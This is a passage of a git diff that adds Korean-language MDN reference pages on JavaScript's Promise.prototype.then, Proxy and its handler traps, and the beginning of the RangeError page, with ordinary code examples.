+ console.log(value); // 1
+ return value + 1;
+}).then(function(value) {
+ console.log(value + ' - 동기적으로 짜도 돌아감');
+});
+
+p2.then(function(value) {
+ console.log(value); // 1
+});
+</pre>
+
+<p>함수에서 오류가 발생하거나 거부한 프로미스를 반환한 경우 <code>then</code>에서는 거부한 프로미스를 반환합니다.</p>
+
+<pre class="brush: js">Promise.resolve()
+ .then(() =&gt; {
+ // .then()에서 거부한 프로미스를 반환함
+ throw new Error('으악!');
+ })
+ .then(() =&gt; {
+ console.log('실행되지 않는 코드');
+ }, error =&gt; {
+ console.error('onRejected 함수가 실행됨: ' + error.message);
+ });</pre>
+
+<p>이외의 모든 경우에는 곧 이행할(비동기적으로 실행되는) 프로미스를 반환합니다. 다음 예제에서는 바로 이전의 프로미스가 거부했음에도 첫 번째 <code>then</code>에서는 <code>42</code>의 값을 갖는 곧 이행할 프로미스를 반환합니다.</p>
+
+<pre class="brush: js">Promise.reject()
+ .then(() =&gt; 99, () =&gt; 42) // onRejected에서는 42를 곧 이행할 프로미스로 감싸서 반환함
+ .then(solution =&gt; console.log(solution + '로 이행함')); // 42로 이행함</pre>
+
+<p>실제 개발 시에는 아래와 같이 거부한 프로미스를 <code>then</code>의 2단 핸들러보다는 <code>catch</code>를 사용해 처리하는 경우가 많습니다.</p>
+
+<pre class="brush: js">Promise.resolve()
+ .then(() =&gt; {
+ // .then()에서 거부한 프로미스를 반환함
+ throw new Error('으악!');
+ })
+ .catch(error =&gt; {
+ console.error('onRejected 함수가 실행됨: ' + error.message);
+ })
+ .then(() =&gt; {
+ console.log("처음 then의 프로미스가 거부했지만 그래도 이 코드는 실행됨");
+ });</pre>
+
+<p><br>
+ 체이닝을 이용해 프로미스 기반 함수 위에 다른 프로미스 기반 함수를 구현할 수도 있습니다.</p>
+
+<pre class="brush: js">function fetch_current_data() {
+ // fetch() API는 프로미스를 반환합니다. 이 함수도
+ // API가 비슷하지만, 이 함수의 프로미스는
+ // 추가 작업을 거친 이후에 이행값을 반환합니다.
+ return fetch('current-data.json').then(response =&gt; {
+ if (response.headers.get('content-type') != 'application/json') {
+ throw new TypeError();
+ }
+ var j = response.json();
+ // j 가공하기
+ return j; // fetch_current_data().then()을 통해
+ // 이행값을 사용할 수 있음
+ });
+}
+</pre>
+
+<p><code>onFulfilled</code>가 프로미스를 반환할 경우, <code>then</code>의 반환값 역시 그 프로미스에 의해 이행/거부합니다.</p>
+
+<pre class="brush: js">function resolveLater(resolve, reject) {
+ setTimeout(function() {
+ resolve(10);
+ }, 1000);
+}
+function rejectLater(resolve, reject) {
+ setTimeout(function() {
+ reject(new Error('오류'));
+ }, 1000);
+}
+
+var p1 = Promise.resolve('foo');
+var p2 = p1.then(function() {
+ // 1초 뒤에 10으로 이행할 프로미스 반환
+ return new Promise(resolveLater);
+});
+p2.then(function(v) {
+ console.log('이행', v); // "이행", 10
+}, function(e) {
+ // 실행되지 않음
+ console.log('거부', e);
+});
+
+var p3 = p1.then(function() {
+ // 1초 뒤에 '오류'로 거부할 프로미스 반환
+ return new Promise(rejectLater);
+});
+p3.then(function(v) {
+ // 실행되지 않음
+ console.log('이행', v);
+}, function(e) {
+ console.log('거부', e); // "거부", '오류'
+});
+</pre>
+
+<h3 id="domxref(window.setImmediate)의_프로미스_기반_폴리필">{{domxref("window.setImmediate")}}의 프로미스 기반 폴리필</h3>
+
+<p>{{jsxref("Function.prototype.bind()")}} <code>Reflect.apply</code> ({{jsxref("Reflect.apply()")}}) 메서드를 사용하여 (취소할 수 없는) setImmedate와 비슷한 함수를 생성합니다.</p>
+
+<pre class="brush: js">const nextTick = (() =&gt; {
+ const noop = () =&gt; {}; // literally
+ const nextTickPromise = () =&gt; Promise.resolve().then(noop);
+
+ const rfab = Reflect.apply.bind; // (thisArg, fn, thisArg, [...args])
+ const nextTick = (fn, ...args) =&gt; (
+ fn !== undefined
+ ? Promise.resolve(args).then(rfab(null, fn, null))
+ : nextTickPromise(),
+ undefined
+ );
+ nextTick.ntp = nextTickPromise;
+
+ return nextTick;
+})();
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.then")}}</p>
+
+
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html b/files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html
new file mode 100644
index 0000000000..b4928da1d8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/proxy/handler/apply/index.html
@@ -0,0 +1,154 @@
+---
+title: handler.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply
+tags:
+ - apply트랩
+ - 트랩
+ - 프록시
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>handler.apply()</code></strong> 메소드는 함수호출 시를 위한 트랩(trap)이다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="brush: js">var p = new Proxy(target, {
+ apply: function(target, thisArg, argumentsList) {
+ }
+});
+</pre>
+
+<h3 id="인자">인자</h3>
+
+<p>apply 메소드에는 다음과 같은 인자가 들어온다.. <code>this는 </code>handler를 가리킨다.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>대상이 되는 객체(함수)</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>호출 시 바인딩 된 this</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd>호출 시 전달된 인자목록.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>apply</code> 메소드는 어떤 값이든 반환할 수 있다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code><strong>handler.apply</strong></code> 메소드는 함수호출 시를 위한 트랩이다.</p>
+
+<h3 id="가로채기">가로채기</h3>
+
+<p>이 트랩은 다음과 같은 것들을 가로챌 수 있다:</p>
+
+<ul>
+ <li><code>proxy(...args)</code></li>
+ <li>{{jsxref("Function.prototype.apply()")}} 와 {{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
+
+<h3 id="기본(불변)조건">기본(불변)조건</h3>
+
+<p><code>handler.apply</code> 메소드에 대한 특별히 지켜야 할 기본조건은 없다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 코드는 함수 호출 시에 트랩을 건다.</p>
+
+<pre class="brush: js">var p = new Proxy(function() {}, {
+ apply: function(target, thisArg, argumentsList) {
+ console.log('호출됨: ' + argumentsList.join(', '));
+ return argumentsList[0] + argumentsList[1] + argumentsList[2];
+ }
+});
+
+console.log(p(1, 2, 3)); // "호출됨: 1, 2, 3"
+ // 6
+</pre>
+
+<h2 id="관련_명세">관련 명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저별_호환성">브라우저별 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("18")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("18")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="관련_내용">관련 내용</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Function.prototype.apply")}}</li>
+ <li>{{jsxref("Function.prototype.call")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/proxy/handler/index.html b/files/ko/web/javascript/reference/global_objects/proxy/handler/index.html
new file mode 100644
index 0000000000..9eebe33b2f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/proxy/handler/index.html
@@ -0,0 +1,81 @@
+---
+title: Proxy handler
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Proxy
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>The proxy's handler object is a placeholder object which contains traps for {{jsxref("Proxy", "proxies", "", 1)}}.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p>All traps are optional. If a trap has not been defined, the default behavior is to forward the operation to the target.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.setPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>A trap for {{jsxref("Object.isExtensible")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>A trap for {{jsxref("Object.preventExtensions")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>A trap for {{jsxref("Object.defineProperty")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/in", "in")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</dt>
+ <dd>A trap for getting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</dt>
+ <dd>A trap for setting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/delete", "delete")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyNames")}} and {{jsxref("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</dt>
+ <dd>A trap for a function call.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/new", "new")}} operator.</dd>
+</dl>
+
+<p>Some non-standard traps are <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#Proxy">obsolete and have been removed</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>The <code>enumerate</code> handler has been removed.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/proxy/index.html b/files/ko/web/javascript/reference/global_objects/proxy/index.html
new file mode 100644
index 0000000000..777b4648d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/proxy/index.html
@@ -0,0 +1,394 @@
+---
+title: Proxy
+slug: Web/JavaScript/Reference/Global_Objects/Proxy
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Proxy
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Proxy</strong></code> 객체는 기본적인 동작(속성 접근, 할당, 순회, 열거, 함수 호출 등)의 새로운 행동을 정의할 때 사용합니다.</p>
+
+<h2 id="용어">용어</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">handler</a></dt>
+ <dd>trap들을 가지고 있는 Placeholder 객체.</dd>
+ <dt>traps</dt>
+ <dd>프로퍼티에 접근할 수 있는 메소드. 운영체제에서 trap 이라는 컨셉과 유사하다.</dd>
+ <dt>target</dt>
+ <dd>proxy가 가상화하는 실제 객체. 이것은 proxy를 위한  backend 저장소로 사용된다.   Invariants (semantics that remain unchanged) regarding object non-extensibility or non-configurable properties are verified against the target.</dd>
+</dl>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Proxy(target, handler);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>proxy와 함께 감싸진 target  객체 (native array, function, 다른 proxy을 포함한 객체)</dd>
+ <dt><code>handler</code></dt>
+ <dd>프로퍼티들이 function 인  객체이다. 동작이 수행될 때, handler는 proxy의 행동을 정의한다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Proxy.revocable()")}}</dt>
+ <dd>폐기할 수 있는(revocable) Proxy 객체를 생성.</dd>
+</dl>
+
+<h2 id="Methods_of_the_handler_object">Methods of the handler object</h2>
+
+<p>handler객체는 <code>Proxy를 위한 trap들을 포함하고 있는 </code>placeholder 객체이다.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler', 'Methods') }}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<p>프로퍼티 이름이 객체에 없을때, 기본값을 숫자 37로 리턴받는 간단한 예제이다. 이것은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get"><code>get</code></a> handler 를 사용하였다. </p>
+
+<pre class="brush: js">var handler = {
+ get: function(target, name){
+ return name in target?
+ target[name] :
+ 37;
+ }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="No-op_forwarding_proxy">No-op forwarding proxy</h3>
+
+<p>이 예제에서는, native JavaScript를 사용하겠다. proxy는 적용된 모든 동작으로 보낼 것이다.</p>
+
+<pre class="brush: js">var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // target으로 동작이 전달
+
+console.log(target.a); // 37. 동작이 제대로 전달됨
+</pre>
+
+<h3 id="Validation_(검증)">Validation (검증)</h3>
+
+<p>Proxy에서, 객체에 전달된 값을 쉽게 검증할 수 있다. 이 예제는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a> handler 를 사용하였다.</p>
+
+<pre class="brush: js">let validator = {
+ set: function(obj, prop, value) {
+ if (prop === 'age') {
+ if (!Number.isInteger(value)) {
+ throw new TypeError('The age is not an integer');
+ }
+ if (value &gt; 200) {
+ throw new RangeError('The age seems invalid');
+ }
+ }
+
+ // The default behavior to store the value
+ obj[prop] = value;
+ }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // Throws an exception
+person.age = 300; // Throws an exception
+</pre>
+
+<h3 id="Extending_constructor_(생성자_확장)">Extending constructor (생성자 확장)</h3>
+
+<p>function proxy는 쉽게 새로운 생성자와 함께 생성자를 확장할 수 있다. 이 예제에서는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct">construct</a> 와</code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply"><code>apply</code></a> handlers 를 사용하였다.</p>
+
+<pre class="brush: js">function extend(sup,base) {
+ var descriptor = Object.getOwnPropertyDescriptor(
+ base.prototype,"constructor"
+ );
+ base.prototype = Object.create(sup.prototype);
+ var handler = {
+ construct: function(target, args) {
+ var obj = Object.create(base.prototype);
+ this.apply(target,obj,args);
+ return obj;
+ },
+ apply: function(target, that, args) {
+ sup.apply(that,args);
+ base.apply(that,args);
+ }
+ };
+ var proxy = new Proxy(base,handler);
+ descriptor.value = proxy;
+ Object.defineProperty(base.prototype, "constructor", descriptor);
+ return proxy;
+}
+
+var Person = function(name){
+ this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+ this.age = age;
+});
+
+Boy.prototype.sex = "M";
+
+var Peter = new Boy("Peter", 13);
+console.log(Peter.sex); // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age); // 13</pre>
+
+<h3 id="Manipulating_DOM_nodes_(DOM_nodes_조작)">Manipulating DOM nodes (DOM nodes 조작)</h3>
+
+<p>가끔씩, 두 개의 다른 element의 속성이나 클래스 이름을 바꾸고 싶을 것이다. 아래는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a> handler 를 사용하였다.</p>
+
+<pre class="brush: js">let view = new Proxy({
+ selected: null
+},
+{
+ set: function(obj, prop, newval) {
+ let oldval = obj[prop];
+
+ if (prop === 'selected') {
+ if (oldval) {
+ oldval.setAttribute('aria-selected', 'false');
+ }
+ if (newval) {
+ newval.setAttribute('aria-selected', 'true');
+ }
+ }
+
+ // The default behavior to store the value
+ obj[prop] = newval;
+ }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'
+</pre>
+
+<h3 id="Value_correction_and_an_extra_property_(값_정정과_추가적인_property)">Value correction and an extra property (값 정정과 추가적인 property)</h3>
+
+<p><code>products</code> 라는 proxy 객체는 전달된 값을 평가하고, 필요할 때 배열로 변환한다. 이 객체는 <code>latestBrowser</code> 라는 추가적인 property를 지원하는데, getter와 setter 모두 지원한다. </p>
+
+<pre class="brush: js">let products = new Proxy({
+ browsers: ['Internet Explorer', 'Netscape']
+},
+{
+ get: function(obj, prop) {
+ // An extra property
+ if (prop === 'latestBrowser') {
+ return obj.browsers[obj.browsers.length - 1];
+ }
+
+ // The default behavior to return the value
+ return obj[prop];
+ },
+ set: function(obj, prop, value) {
+ // An extra property
+ if (prop === 'latestBrowser') {
+ obj.browsers.push(value);
+ return;
+ }
+
+ // Convert the value if it is not an array
+ if (typeof value === 'string') {
+ value = [value];
+ }
+
+ // The default behavior to store the value
+ obj[prop] = value;
+ }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // pass a string (by mistake)
+console.log(products.browsers); // ['Firefox'] &lt;- no problem, the value is an array
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'
+</pre>
+
+<h3 id="Finding_an_array_item_object_by_its_property_(property로_배열의_객체를_찾기)">Finding an array item object by its property (property로 배열의 객체를 찾기)</h3>
+
+<p>proxy 는 유용한 특성을 가진 배열로 확장할 것이다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties">Object.defineProperties</a>를 사용하지 않고, </code>유연하게 property들을 유연하게 "정의"할 수 있다. 이 예제는 테이블의 cell을 이용해서 row(열)을 찾는데 적용할 수 있다. 이 경우, target은 <code><a href="/en-US/docs/DOM/table.rows">table.rows</a>가 될 것이다.</code></p>
+
+<pre class="brush: js">let products = new Proxy([
+ { name: 'Firefox', type: 'browser' },
+ { name: 'SeaMonkey', type: 'browser' },
+ { name: 'Thunderbird', type: 'mailer' }
+],
+{
+ get: function(obj, prop) {
+ // The default behavior to return the value; prop is usually an integer
+ if (prop in obj) {
+ return obj[prop];
+ }
+
+ // Get the number of products; an alias of products.length
+ if (prop === 'number') {
+ return obj.length;
+ }
+
+ let result, types = {};
+
+ for (let product of obj) {
+ if (product.name === prop) {
+ result = product;
+ }
+ if (types[product.type]) {
+ types[product.type].push(product);
+ } else {
+ types[product.type] = [product];
+ }
+ }
+
+ // Get a product by name
+ if (result) {
+ return result;
+ }
+
+ // Get products by type
+ if (prop in types) {
+ return types[prop];
+ }
+
+ // Get product types
+ if (prop === 'types') {
+ return Object.keys(types);
+ }
+
+ return undefined;
+ }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+</pre>
+
+<h3 id="A_complete_traps_list_example_(완벽한_traps_리스트_예제)">A complete <code>traps</code> list example (완벽한 <code>traps</code> 리스트 예제)</h3>
+
+<p>이제 완벽한 traps 리스트를 생성하기 위해서, <em>non native</em> 객체를 프록시화 할 것이다. 이것은 특히, 다음과 같은 동작에 적합하다 : <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">the "little framework" published on the <code>document.cookie</code> page</a> 에 의해 생성된 <code>docCookies</code> 는 글로벌 객체</p>
+
+<pre class="brush: js">/*
+ var docCookies = ... get the "docCookies" object here:
+ https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+ get: function (oTarget, sKey) {
+ return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+ },
+ set: function (oTarget, sKey, vValue) {
+ if (sKey in oTarget) { return false; }
+ return oTarget.setItem(sKey, vValue);
+ },
+ deleteProperty: function (oTarget, sKey) {
+ if (sKey in oTarget) { return false; }
+ return oTarget.removeItem(sKey);
+ },
+ enumerate: function (oTarget, sKey) {
+ return oTarget.keys();
+ },
+ ownKeys: function (oTarget, sKey) {
+ return oTarget.keys();
+ },
+ has: function (oTarget, sKey) {
+ return sKey in oTarget || oTarget.hasItem(sKey);
+ },
+ defineProperty: function (oTarget, sKey, oDesc) {
+ if (oDesc &amp;&amp; "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+ return oTarget;
+ },
+ getOwnPropertyDescriptor: function (oTarget, sKey) {
+ var vValue = oTarget.getItem(sKey);
+ return vValue ? {
+ value: vValue,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ } : undefined;
+ },
+});
+
+/* Cookies test */
+
+console.log(docCookies.my_cookie1 = "First value");
+console.log(docCookies.getItem("my_cookie1"));
+
+docCookies.setItem("my_cookie1", "Changed value");
+console.log(docCookies.my_cookie1);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ES2016')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ES2017')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Proxy", 2)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="https://www.youtube.com/watch?v=sClk6aB_CPk">"Proxies are awesome" Brendan Eich presentation at JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">slides</a>)</li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">ECMAScript Harmony Proxy proposal page</a> and <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">ECMAScript Harmony proxy semantics page</a></li>
+ <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Tutorial on proxies</a></li>
+ <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">SpiderMonkey specific Old Proxy API</a></li>
+ <li>{{jsxref("Object.watch()")}} is a non-standard feature but has been supported in Gecko for a long time.</li>
+</ul>
+
+<h2 id="라이센스_참고사항">라이센스 참고사항</h2>
+
+<p>Some content (text, examples) in this page has been copied or adapted from the <a class="external" href="http://wiki.ecmascript.org/doku.php">ECMAScript wiki</a> which content is licensed <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p>
diff --git a/files/ko/web/javascript/reference/global_objects/rangeerror/index.html b/files/ko/web/javascript/reference/global_objects/rangeerror/index.html
new file mode 100644
index 0000000000..7413433c34
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/rangeerror/index.html
@@ -0,0 +1,163 @@
+---
+title: RangeError
+slug: Web/JavaScript/Reference/Global_Objects/RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>RangeError</strong></code> 객체는 값이 집합에 없거나 허용되지 않은 값의 범위일 때 에러를 나타냅니다.</p>
+
+<h2 id="구문">구문 </h2>
+
+<pre class="syntaxbox"><code>new RangeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>선택적 파라메터. 에러에 대한 설명.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(exception)가 발생한 코드를 포함하고 있는 파일의 이름.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(exception)가 발생한 코드의 라인 넘버.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
